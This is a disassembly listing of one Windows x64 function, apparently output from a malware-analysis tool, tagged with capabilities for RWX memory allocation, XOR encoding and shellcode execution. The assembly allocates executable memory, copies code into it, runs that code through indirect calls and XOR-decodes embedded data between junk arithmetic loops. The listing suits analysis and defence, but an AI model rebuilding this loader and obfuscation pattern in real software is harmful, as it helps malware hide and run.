Function at 0x14000fd50
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x5540]
mov eax, 0x5640
call fcn.140028fa0
sub rsp, rax
movaps xmmword [rsp + 0x5630], xmm6
movaps xmmword [rsp + 0x5620], xmm7
movaps xmmword [rsp + 0x5610], xmm8
movaps xmmword [rsp + 0x5600], xmm9
movaps xmmword [rsp + 0x55f0], xmm10
movaps xmmword [rsp + 0x55e0], xmm11
movaps xmmword [rsp + 0x55d0], xmm12
movaps xmmword [rsp + 0x55c0], xmm13
movaps xmmword [rsp + 0x55b0], xmm14
movaps xmmword [rsp + 0x55a0], xmm15
mov rax, qword [0x140034010]
xor rax, rsp
mov qword [rbp + 0x5490], rax
mov rbx, rcx
xor r12d, r12d
xorps xmm0, xmm0
movups xmmword [rbp + 0x4e8], xmm0
lea rax, [rbp + 0x5568]
movabs rcx, 0xff00ff00ff00ff00
mov qword [rbp + 0x4f0], rcx
mov qword [rbp + 0x4f8], rax
mov rax, qword [rax]
xor rax, rcx
mov qword [rbp + 0x4e8], rax
movups xmmword [rbp + 0x440], xmm0
lea r15, [rbp + 0x5568]
mov qword [rbp + 0x448], rcx
mov qword [rbp + 0x450], r15
mov qword [rbp + 0x440], rcx
mov qword [r15], r12
mov edi, dword [rbx + 0x10]
mov r8, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x14000fe58
mov r8, qword [rbx]
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
lea r9d, [rdi + 1]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd r14, eax
mov eax, 2
mul r14
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.1400283dc
mov rsi, rax
cmp qword [rbx + 0x18], 0x10
jb 0x14000fe9b
mov rbx, qword [rbx]
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], rsi
lea r9d, [rdi + 1]
mov r8, rbx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov rdx, rsi
lea rcx, [rbp + 0x330]
call fcn.14001c4e0
mov rcx, rsi
call fcn.140028140
nop
mov qword [rbp + 0x440], r12
mov qword [r15], r12
lea rdx, [rbp + 0x330]
lea rcx, [rbp + 0x1d0]
call fcn.14000c840
nop
mov rdx, rax
lea rcx, [rbp + 0x5a8]
call fcn.14000c740
nop
lea rcx, [rbp + 0x1d0]
call fcn.140002880
nop
lea rcx, [rbp + 0x330]
call fcn.140002880
movups xmm0, xmmword [0x14002c360]
movups xmmword [rbp + 0x230], xmm0
movups xmm1, xmmword [0x14002c370]
movups xmmword [rbp + 0x240], xmm1
movups xmm0, xmmword [0x14002c380]
movups xmmword [rbp + 0x250], xmm0
movsd xmm0, qword [0x14002c390]
movsd qword [rbp + 0x260], xmm0
mov eax, dword [0x14002c398]
mov dword [rbp + 0x268], eax
movzx eax, word [0x14002c39c]
mov word [rbp + 0x26c], ax
movzx eax, byte [0x14002c39e]
mov byte [rbp + 0x26e], al
lea rcx, [rbp + 0x578]
call fcn.1400026e0
lea rdx, [rbp + 0x5568]
lea rcx, [rbp + 0x578]
call fcn.1400026f0
nop
mov ecx, r12d
mov r15d, 3
lea rbx, [0x14001deb0]
lea rdi, [0x140000000]
mov rax, qword [0x140036960]
test rax, rax
je 0x14000ffe9
nop dword [rax]
cmp rax, rbx
je 0x14000ffd6
inc ecx
mov rax, qword [rdi + rcx*8 + 0x36960]
test rax, rax
jne 0x14000ffc0
jmp 0x14000ffe9
mov eax, ecx
mov r8, qword [rdi + rax*8 + 0x35cd0]
test r8, r8
jne 0x1400100cf
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140010010
mov r8, r12
jmp 0x1400100ae
mov rax, rbx
mov rcx, r8
mov rdx, r15
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140010020
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140036950]
mov qword [rdi + rax*8 + 0x36960], rbx
mov qword [rdi + rax*8 + 0x35cd0], r8
inc rax
mov qword [0x140036950], rax
lea rdx, [rbp + 0x230]
lea rcx, [0x14000c300]
call r8
nop
mov rcx, qword [rbp + 0x578]
xor rcx, qword [rbp + 0x580]
mov qword [rbp + 0x578], rcx
mov rax, qword [rbp + 0x588]
mov qword [rax], rcx
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rbp + 0x650]
call fcn.14001b880
mov dword [rbp + 0x3c0], 0xffffff9c
mov dword [rbp + 0x3c4], 0x64
movaps xmm0, xmmword [0x14002c750]
movups xmmword [rbp + 0x458], xmm0
mov dword [rsp + 0x30], r12d
xorps xmm0, xmm0
movsd qword [rsp + 0x38], xmm0
lea rcx, [rbp + 0x60]
call fcn.140001770
mov rax, qword [rbp + 0x60]
add rax, 0x5f5e100
mov qword [rbp - 0x50], rax
lea rcx, [rbp + 0x3e0]
call fcn.1400026e0
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x3e0], xmm0
mov qword [rbp + 0x3f0], r12
lea rcx, [rbp + 0x68]
call fcn.14001d7c0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp - 0x80], rcx
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x3e0]
call fcn.14001b790
nop
lea rcx, [rbp - 0x80]
call fcn.14001b770
nop
lea rcx, [rbp + 0x68]
call fcn.14001b770
lea rcx, [rbp + 0x70]
call fcn.14001d810
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp - 0x78], rcx
lea rdx, [rbp - 0x78]
lea rcx, [rbp + 0x3e0]
call fcn.14001b790
nop
lea rcx, [rbp - 0x78]
call fcn.14001b770
nop
lea rcx, [rbp + 0x70]
call fcn.14001b770
lea rcx, [rbp + 0x78]
call fcn.14001d840
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp - 0x70], rcx
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x3e0]
call fcn.14001b790
nop
lea rcx, [rbp - 0x70]
call fcn.14001b770
nop
lea rcx, [rbp + 0x78]
call fcn.14001b770
lea rcx, [rbp + 0x80]
call fcn.14001d870
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp - 0x68], rcx
lea rdx, [rbp - 0x68]
lea rcx, [rbp + 0x3e0]
call fcn.14001b790
nop
lea rcx, [rbp - 0x68]
call fcn.14001b770
nop
lea rcx, [rbp + 0x80]
call fcn.14001b770
lea rcx, [rbp + 0x88]
call fcn.14001d8a0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp - 0x60], rcx
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0x3e0]
call fcn.14001b790
nop
lea rcx, [rbp - 0x60]
call fcn.14001b770
nop
lea rcx, [rbp + 0x88]
call fcn.14001b770
lea rcx, [rbp + 0x90]
call fcn.14001d8d0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp - 0x58], rcx
lea rdx, [rbp - 0x58]
lea rcx, [rbp + 0x3e0]
call fcn.14001b790
nop
lea rcx, [rbp - 0x58]
call fcn.14001b770
nop
lea rcx, [rbp + 0x90]
call fcn.14001b770
lea rcx, [rbp + 0x98]
call fcn.140001770
mov rcx, rax
lea rdx, [rbp - 0x50]
call fcn.140002690
movsd xmm15, qword [0x14002c680]
movsd xmm14, qword [0x14002c678]
test al, al
jns 0x140010655
lea rax, [rbp + 0x3c0]
mov qword [rsp + 0x50], rax
lea rax, [rbp + 0x650]
mov qword [rsp + 0x58], rax
movaps xmm6, xmmword [rsp + 0x50]
nop word [rax + rax]
mov esi, 0x186a0
nop word [rax + rax]
lea rdx, [rbp + 0x650]
lea rcx, [rbp + 0x3c0]
call fcn.14001d6c0
mov rbx, qword [rbp + 0x3e8]
sub rbx, qword [rbp + 0x3e0]
sar rbx, 3
lea rdx, [rbp + 0x650]
lea rcx, [rbp + 0x3c0]
call fcn.14001d6c0
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rbp + 0x3e0]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rbp + 0x650]
lea rcx, [rbp + 0x3c0]
call fcn.14001d6c0
mov r8d, eax
mov edx, dword [rsp + 0x30]
mov rcx, rdi
call rbx
mov dword [rsp + 0x30], eax
lea rdx, [rbp + 0x650]
lea rcx, [rbp + 0x458]
call fcn.14001d900
movaps xmm5, xmm0
lea rdx, [rbp + 0x650]
lea rcx, [rbp + 0x458]
call fcn.14001d900
movaps xmm1, xmm5
call fcn.140002540
movsd xmm1, qword [rsp + 0x38]
addsd xmm0, xmm1
movsd qword [rsp + 0x38], xmm0
lea rdx, [rbp + 0x650]
lea rcx, [rbp + 0x458]
call fcn.14001d900
movaps xmm1, xmm15
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x38]
subsd xmm1, xmm0
movsd qword [rsp + 0x38], xmm1
lea rdx, [rbp + 0x650]
lea rcx, [rbp + 0x458]
call fcn.14001d900
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
mulsd xmm0, qword [rsp + 0x38]
movsd qword [rsp + 0x38], xmm0
lea rdx, str.random
lea rcx, [rbp + 0x5c8]
call fcn.14001c7f0
nop
lea rdx, [rbp + 0x650]
lea rcx, [rbp + 0x5c8]
call fcn.1400024b0
lea rcx, [rbp + 0x4d0]
call fcn.1400026e0
lea rcx, [rbp + 0x4d0]
call fcn.14001b950
nop
movdqa xmmword [rbp + 0x280], xmm6
lea r8, [rbp + 0x280]
mov rdx, qword [rbp + 0x4d8]
mov rcx, qword [rbp + 0x4d0]
call fcn.14001d980
lea rdx, [rbp + 0x650]
lea rcx, [rbp + 0x4d0]
call fcn.1400025c0
mov rdx, qword [rbp + 0x4d8]
mov rcx, qword [rbp + 0x4d0]
call fcn.14001d9e0
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov dword [rsp + 0x30], ecx
lea rdx, [rbp + 0x650]
lea rcx, [rbp + 0x3c0]
call fcn.14001d6c0
mov ebx, eax
lea rdx, [rbp + 0x650]
lea rcx, [rbp + 0x3c0]
call fcn.14001d6c0
mov r8d, ebx
mov edx, eax
call fcn.1400026b0
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000001
jge 0x140010528
dec eax
or eax, 0xfffffffe
inc eax
lea rdx, [rbp + 0x650]
lea rcx, [rbp + 0x3c0]
test eax, eax
jne 0x14001054b
call fcn.14001d6c0
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x14001055a
call fcn.14001d6c0
mov ecx, dword [rsp + 0x30]
sub ecx, eax
mov dword [rsp + 0x30], ecx
mov edi, 5
nop
mov ebx, r12d
nop dword [rax]
nop word [rax + rax]
lea rdx, [rbp + 0x650]
lea rcx, [rbp + 0x3c0]
call fcn.14001d6c0
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
lea rdx, [rbp + 0x650]
lea rcx, [rbp + 0x458]
call fcn.14001d900
movsd xmm5, qword [rsp + 0x38]
addsd xmm0, xmm5
movsd qword [rsp + 0x38], xmm0
lea rdx, [rbp + 0x650]
test bl, 1
jne 0x1400105d5
lea rcx, [rbp + 0x3c0]
call fcn.14001d6c0
mov ecx, dword [rsp + 0x30]
imul eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x1400105f6
movsd xmm5, qword [rsp + 0x38]
lea rcx, [rbp + 0x458]
call fcn.14001d900
addsd xmm0, xmm14
divsd xmm5, xmm0
movsd qword [rsp + 0x38], xmm5
inc ebx
cmp ebx, 5
jl 0x140010570
sub rdi, 1
jne 0x140010560
lea rcx, [rbp + 0x4d0]
call fcn.14001b8f0
nop
lea rcx, [rbp + 0x5c8]
call fcn.14001c780
sub rsi, 1
jne 0x140010340
lea rcx, [rbp + 0x98]
call fcn.140001770
mov rcx, rax
lea rdx, [rbp - 0x50]
call fcn.140002690
test al, al
js 0x140010330
lea rdi, [0x140000000]
mov eax, dword [rsp + 0x30]
lea rcx, [rbp + 0x3e0]
call fcn.14001b7c0
mov dword [rsp + 0x60], 0x96
lea rcx, [rbp + 0x590]
call fcn.1400026e0
lea rdx, [rbp + 0x5568]
lea rcx, [rbp + 0x590]
call fcn.1400026f0
nop
mov ecx, r12d
lea r13, [0x14001e200]
mov rax, qword [0x140036630]
test rax, rax
je 0x1400106cc
cmp rax, r13
je 0x1400106b9
inc ecx
mov rax, qword [rdi + rcx*8 + 0x36630]
test rax, rax
jne 0x1400106a3
jmp 0x1400106cc
mov eax, ecx
mov r8, qword [rdi + rax*8 + 0x382b0]
test r8, r8
jne 0x1400107af
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400106f3
mov r8, r12
jmp 0x14001078e
mov rax, r13
mov rcx, r8
mov rdx, r15
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140010700
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140036fa0]
mov qword [rdi + rax*8 + 0x36630], r13
mov qword [rdi + rax*8 + 0x382b0], r8
inc rax
mov qword [0x140036fa0], rax
lea rdx, [rsp + 0x60]
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
call r8
nop
mov rcx, qword [rbp + 0x590]
xor rcx, qword [rbp + 0x598]
mov qword [rbp + 0x590], rcx
mov rax, qword [rbp + 0x5a0]
mov qword [rax], rcx
movups xmm0, xmmword [0x14002bfe0]
movups xmmword [rbp + 0x2b0], xmm0
movups xmm1, xmmword [0x14002bff0]
movups xmmword [rbp + 0x2c0], xmm1
movups xmm0, xmmword [0x14002c000]
movups xmmword [rbp + 0x2d0], xmm0
movups xmm1, xmmword [0x14002c010]
movups xmmword [rbp + 0x2e0], xmm1
movups xmm0, xmmword [0x14002c020]
movups xmmword [rbp + 0x2f0], xmm0
movups xmm1, xmmword [0x14002c030]
movups xmmword [rbp + 0x300], xmm1
movups xmm0, xmmword [0x14002c040]
movups xmmword [rbp + 0x310], xmm0
movsd xmm0, qword [0x14002c050]
movsd qword [rbp + 0x320], xmm0
movzx eax, byte [0x14002c058]
mov byte [rbp + 0x328], al
mov r9d, r12d
mov r8d, 4
lea r10d, [r8 + 2]
lea r11d, [r8 + 0x1b]
mov r14d, dword [0x140034018]
cmp r14d, 2
jl 0x140010a9f
movdqa xmm9, xmmword [0x14002c6d0]
movdqa xmm6, xmmword [0x14002c740]
movd xmm10, r8d
movdqa xmm7, xmmword [0x14002c770]
movd xmm11, r10d
movdqa xmm12, xmmword [0x14002c6f0]
movdqa xmm13, xmmword [0x14002c700]
movd xmm8, r11d
movdqa xmm0, xmmword [0x14002c730]
movdqa xmmword [rbp + 0x3d0], xmm0
lea rcx, [rbp + 0x2b0]
mov edx, dword [rbp + 0x3d0]
nop word [rax + rax]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm10
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm13
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14002c720]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm8
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14002c720]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm10
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm13
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14002c720]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm8
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14002c720]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm3, xmm0
movd dword [rcx + 4], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x78
jl 0x1400108e0
cmp r9d, 0x79
jge 0x140010b0e
movsxd rax, r9d
lea r10, [rbp + 0x2b0]
add r10, rax
nop dword [rax]
mov eax, 0x84210843
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3e
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x288df0cb
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x65
sub r8b, cl
add r8b, 0x1d
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x79
jl 0x140010ab0
mov r8d, 4
lea r10d, [r8 + 2]
movups xmm0, xmmword [0x14002c550]
movups xmmword [rbp + 0x160], xmm0
movups xmm0, xmmword [0x14002c570]
movups xmm1, xmmword [0x14002c560]
movups xmmword [rbp + 0x180], xmm0
movups xmmword [rbp + 0x170], xmm1
movzx eax, word [0x14002c5b8]
movups xmm0, xmmword [0x14002c590]
movups xmm1, xmmword [0x14002c580]
mov word [rbp + 0x1c8], ax
movups xmmword [rbp + 0x1a0], xmm0
movups xmmword [rbp + 0x190], xmm1
movzx eax, byte [0x14002c5ba]
movsd xmm0, qword [0x14002c5b0]
movups xmm1, xmmword [0x14002c5a0]
mov byte [rbp + 0x1ca], al
movsd qword [rbp + 0x1c0], xmm0
movups xmmword [rbp + 0x1b0], xmm1
mov r9d, r12d
cmp r14d, 2
jl 0x140010db0
movdqa xmm9, xmmword [0x14002c6d0]
movdqa xmm6, xmmword [0x14002c740]
movd xmm10, r8d
movdqa xmm7, xmmword [0x14002c770]
movd xmm11, r10d
movdqa xmm12, xmmword [0x14002c6f0]
movdqa xmm13, xmmword [0x14002c700]
movd xmm8, r11d
movdqa xmm0, xmmword [0x14002c730]
movdqa xmmword [rbp + 0x3d0], xmm0
lea rcx, [rbp + 0x160]
mov edx, dword [rbp + 0x3d0]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm10
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm13
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14002c720]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm8
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14002c720]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm10
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm13
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14002c720]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm8
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14002c720]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm3, xmm0
movd dword [rcx + 4], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x68
jl 0x140010bf1
cmp r9d, 0x6b
jge 0x140010e14
movsxd rax, r9d
lea r10, [rbp + 0x160]
add r10, rax
nop dword [rax]
mov eax, 0x84210843
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3e
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x288df0cb
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x65
sub r8b, cl
add r8b, 0x1d
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x6b
jl 0x140010dc0
lea r8, [rbp + 0x5a8]
lea rdx, [rbp + 0x160]
lea rcx, [rbp + 0x370]
call fcn.14001e230
nop
lea r8, [rbp + 0x2b0]
mov rdx, rax
lea rcx, [rbp + 0x390]
call fcn.14001d600
nop
mov rcx, rax
call fcn.14001c640
mov qword [rbp + 0xa0], rax
lea rcx, [rbp + 0x500]
call fcn.1400026e0
lea rdx, [rbp + 0x5568]
lea rcx, [rbp + 0x500]
call fcn.1400026f0
nop
mov ecx, r12d
lea rbx, [0x14001dd70]
mov rax, qword [0x140039590]
test rax, rax
je 0x140010eb9
nop dword [rax + rax]
cmp rax, rbx
je 0x140010ea6
inc ecx
mov rax, qword [rdi + rcx*8 + 0x39590]
test rax, rax
jne 0x140010e90
jmp 0x140010eb9
mov eax, ecx
mov r8, qword [rdi + rax*8 + 0x37920]
test r8, r8
jne 0x140010f9f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140010ee0
mov r8, r12
jmp 0x140010f7e
mov rax, rbx
mov rcx, r8
mov rdx, r15
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140010ef0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140035340]
mov qword [rdi + rax*8 + 0x39590], rbx
mov qword [rdi + rax*8 + 0x37920], r8
inc rax
mov qword [0x140035340], rax
lea rdx, [rbp + 0xa0]
lea rcx, [0x14000c300]
call r8
nop
mov rcx, qword [rbp + 0x500]
xor rcx, qword [rbp + 0x508]
mov qword [rbp + 0x500], rcx
mov rax, qword [rbp + 0x510]
mov qword [rax], rcx
lea rcx, [rbp + 0x390]
call fcn.14001c780
nop
lea rcx, [rbp + 0x370]
call fcn.14001c780
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rbp + 0x19e0]
call fcn.14001b880
mov dword [rbp + 0x3b0], 0xffffff9c
mov dword [rbp + 0x3b4], 0x64
movaps xmm0, xmmword [0x14002c750]
movups xmmword [rbp + 0x3d0], xmm0
